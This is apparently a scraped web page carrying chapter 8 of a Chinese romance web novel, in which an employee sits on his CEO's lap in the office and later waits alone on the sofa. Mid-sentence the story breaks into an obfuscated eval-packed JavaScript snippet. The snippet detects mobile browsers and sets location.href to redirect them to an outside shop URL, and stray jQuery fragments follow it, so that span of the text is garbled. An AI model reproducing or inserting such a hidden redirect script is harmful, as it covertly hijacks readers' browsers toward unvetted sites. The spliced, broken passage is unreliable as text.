8.第 8 章
作品:《协议恋爱,但被Daddy宠上天》 江砚动作一僵。
偷看被抓包了。
但他脸皮厚,被发现了也不躲,反而眨眨眼,冲陆时深露出一个无辜的笑。
陆时深看着他。
那目光原本是冷的,不知怎么,在落到江砚身上时,像被春水融化,一点一点软下来。
他放下笔。
“很无聊?”声音也放软了。
江砚摇头:“没有没有,你忙你的,不用管我。”
陆时深没说话,只是看着他。
江砚被他看得有点发毛:“……干嘛?”
“过来。”陆时深说。
江砚愣了下,指指自己:“我?”
陆时深点头。
江砚放下牛奶杯,从沙发上站起来,走到办公桌前。
“站那么远做什么。”陆时深微微后仰,靠在椅背上,“再过来点。”
江砚绕到办公桌内侧,在陆时深椅子旁边站定。
然后——
陆时深握住他的手腕,轻轻一拉。
江砚重心不稳,整个人往他那边栽过去,还没反应过来,已经被捞进一个温热的怀抱。
他坐在陆时深腿上了。
手臂环过他的腰,将他圈在自己和办公桌之间。
江砚:“……”
他低头看看环在自己腰上的手臂。
“老板,”江砚开口,声音有点飘,“这里是办公室。”
“嗯。”陆时深应了一声,然后下巴抵在他肩窝里,声音闷闷的,“所以呢?”
所以呢?!
江砚瞪大眼睛。
什么叫所以呢?这里是办公室!门口还有特助和秘书!落地窗外面能看见整个CBD!虽然玻璃肯定是单向的但万一呢!
而且他坐在陆时深腿上,这个姿势。
江砚动了动,想站起来。
腰上的手臂收紧了几分。
“别动。”陆时深说。
江砚不动了。
不是因为他听话,是因为陆时深说这两个字的时候,唇蹭到了他的耳朵。
温热的呼吸洒在耳后那一小块皮肤上。
江砚后颈一阵发麻。
那种麻像有电流从耳后窜进去,顺着脊椎往下走,走得他半边身子都软了。
“老板。”江砚声音有点紧,他努力维持平时的调调,“你这属于职场性骚扰。”
陆时深没说话,只是把脸埋进他肩窝更深了些。
江砚能感觉到陆时深鼻尖蹭在他锁骨的位置,有点痒。
“老板?”
“……嗯。”
“你让我起来。”
“不让。”
江砚:“?”
不让。
行,那我自力更生。
他试图往旁边挪。
腰上的手臂纹丝不动。
他再挪。
依然纹丝不动。
他深吸一口气,决定采用物理突破法,撑着办公桌站起来。
结果刚撑起半个身子,腰上的手突然收紧,把他整个人又捞了回去。
这一次,他的后背完完整整贴进了陆时深的胸膛。
隔着两层布料,他感觉到那片胸膛的温度,还有,
心跳。
一下,两下,三下。
很快。
比平时快。
“别动。”陆时深的声音从肩窝里传出来,低哑得不像话。
江砚僵住了。
因为他感觉到了。
有什么东西抵在他身后,陆时深某个部位起了变化。
这不是去幼儿园的车。
……
……
……
江砚彻底不敢动了。
他眼睛瞪得溜圆,盯着面前的办公桌,呼吸都放轻了。
“怎么不说话了?”陆时深声音还是哑的,笑意却很明显,甚至还带着点戏谑。
江砚梗着脖子,耳朵红得像要滴血。
“我、我……”他卡壳了。
陆时深微微侧头,去看他的脸。
江砚赶紧把脸转向另一边,只给他一个红透了的侧脸。
“哦,”陆时深慢条斯理,“耳朵红了。”
江砚:“……”
“脸也红了。”
江砚:“……”
“脖子也——”
“陆时深!”江砚终于憋出一句,声音都劈叉了,但怕外面听到,还是压低了声音。
陆时深低低地笑了一声。
那笑声从胸腔震过来,贴着江砚的后背。
江砚:“……”
“你现在在想什么?”陆时深忽然问。
江砚条件反射:“什么都没想。”
“是吗。”陆时深说,“那你抖什么?”
江砚:“……”
他深吸一口气,努力让自己的声音听起来镇定:“老板,现在是上班时间。”
“嗯。”
“你是总裁。”
“嗯。”
“你应该日理万机。”
“嗯。”
“所以你能不能……”
“不能。”
江砚噎住。
陆时深下巴抵在他肩窝里,侧过脸,鼻尖轻轻蹭过他的耳垂。
“你扭来扭去的时候,”陆时深说,语气里甚至包含几分无辜,“没想过后果?”
江砚:“……”
我那是想挣脱你的魔爪!不是扭来扭去!
但他不敢说。
因为他现在确实不敢动了。
最后,两个人就这样维持着这个姿势。
江砚僵成一块人形木板,陆时深抱着他,呼吸渐渐平复下来。
不知道过了多久,陆时深终于开口:
“砚砚。”
声音已经恢复了七八分正常。
江砚警惕地嗯?了一声。
“以后,”陆时深顿了顿,“不要在我腿上扭来扭去。”
江砚:“……”
“所以,”他开口,发现自己声音有点干,“你现在冷静了吗?”
陆时深没答话。
只是箍在他腰间的手,慢慢松开了一点。
但仍然没放他走。
又安静了一会儿。
“陆时深。”
“嗯。”
“你这样,”江砚顿了顿,斟酌措辞,“不会影响工作效率吗?”
陆时深想了想:“会。”
“那你还——”
“但今天效率已经够高了,”陆时深语气平静,“因为有你在,提前完成了下午三分之一的工作。”
江砚:“……”
所以霸总的工作效率是可以用这种方式提升的?
他不理解,但他大受震撼。
九点二十五分,内线响起。
“陆总,市场部的人到了。”陈特助汇报。
陆时深松开环在江砚腰间的手。
江砚立刻从他腿上弹起来,动作敏捷得像只受惊的兔子,三两步蹿回沙发,抄起茶几上已经凉了的牛奶猛地喝了一大口。
心跳的巨快,心里不断想着,为什么这人来了公司以后跟变了个人似的,这么……这么……
他找不到形容词,反正跟在家完全不一样。
陆时深看他一眼,又确定了自己的状态,按下了内线:“让他们进来。”
门打开,三个西装革履的人鱼贯而入。
为首的是个三十出头的男人,手里拿着文件夹,正要开口汇报,视线扫过沙发上脸红的跟煮熟了的虾子一样的江砚,顿了一下。
但只有瞬间。
紧接着他目光收回去,好像什么都没看见。
“陆总,这是第三季度的市场推广方案……”
江砚捧着牛奶杯,安静地缩在沙发角落,努力把自己变成一株人形绿植。
市场部的汇报持续了二十分钟。
江砚一开始还试图听一下他们在说什么,但那些词拆开他都认识,组合在一起就变成了天书。
什么“用户画像”,什么“转化漏斗”,什么“私域流量”……
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168303|196363||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
默默放弃,低头玩手机。
戴上耳机,开了一局匹配。
陆时深的声音偶尔飘进耳朵,和平时和他说话时的温柔完全不一样,也没有那么多耐心。
“这个方案的ROI测算过?”
“渠道投放的优先级再排。”
“第三版比前两版好,还可以优化。”
江砚手指在屏幕上滑动,耳朵却不由自主地追着陆时深的声音跑。
奇怪。
明明是同一个人,怎么可以差别这么大。
匹配打到一半,他听见椅子移动的声音。
“就按刚才说的调整,”陆时深说,“周五之前给我。”
“好的陆总。”
脚步声,关门声。
办公室重新安静下来。
江砚抬起头,正好对上陆时深的视线。
陆时深已经从办公桌后站起来,正在整理袖扣,显然是准备出门。
“我要去开个会,”陆时深走过来,“大概一小时。”
江砚点头:“哦,好。”
陆时深站在沙发前,低头看着他。
江砚被看得有点不自在:“……干嘛?”
“乖乖等我回来。”陆时深说。
江砚:“……我又不是小孩。”
陆时深没反驳,只是伸手揉了揉他的头发。
“茶几抽屉里有零食,”他说,“陈特助在外面,有事找她。”
“知道了知道了。”
陆时深又看了他一眼,才转身离开。
门关上。
江砚瘫回沙发,长长地吐出一口气。
终于走了。
他甩甩脑袋,决定不去想刚才的事情。
其实也没什么大不了的。
成年人了,有点生理反应很正常,没有才不正常。
陆时深二十八岁,正是血气方刚的年纪。
他只是恰好坐在了不该坐的地方。
而已。
江砚成功说服自己。
茶几抽屉拉开,里面整整齐齐码着各种零食,进口巧克力、坚果、水果干,还有他爱吃的曲奇饼。
江砚拆开一包巧克力,塞了一颗进嘴里。
浓郁的可可香在舌尖化开,他满足地眯起眼睛。
然后他摸出平板,打开画布,开始涂鸦。
画什么呢?
手指悬在屏幕上,犹豫了几秒。
然后,不受控制地,勾勒出一道轮廓。
宽肩,窄腰,流畅的背肌线条,半挽的衬衫袖口下露出结实的小臂。
江砚画得很专注。
等回过神来,屏幕上已经躺着一个半身速写。
是陆时深。
江砚盯着画看了几秒。
然后面无表情地把图层隐藏。
他什么都没画,嗯。
然后对着平板发了二十分钟的呆。
他刚才把那个图层隐藏了,现在屏幕上只剩一张空白的画布,白得晃眼。
啧。
他划掉画布,点开相册,翻了翻之前存的素材图,试图洗洗眼睛。
各种风格的美男。
但不知道为什么,现在看这些图,总觉得……不够。
不够什么呢?
江砚盯着屏幕想了一会儿,没想明白。
算了,不想了。
他关掉平板,拆了包坚果,开始一颗一颗往嘴里丢。
看着落地窗外能俯瞰整个CBD,完全和自己截然不同的两个世界,一边丢一边感叹。
人生啊。
虽然也不知道为什么突然感叹起来人生了。
他把一颗腰果抛进嘴里,嚼得咯嘣响。
门突然被敲响了。
江砚愣了一下。
陆时深说过,他开会大概一小时,这才过了半个小时。
他放下坚果袋子,从沙发上站起来。
“请进。”
门被推开。
进来的是个男人。
不是陈特助,也不是刚才汇报的那些人。

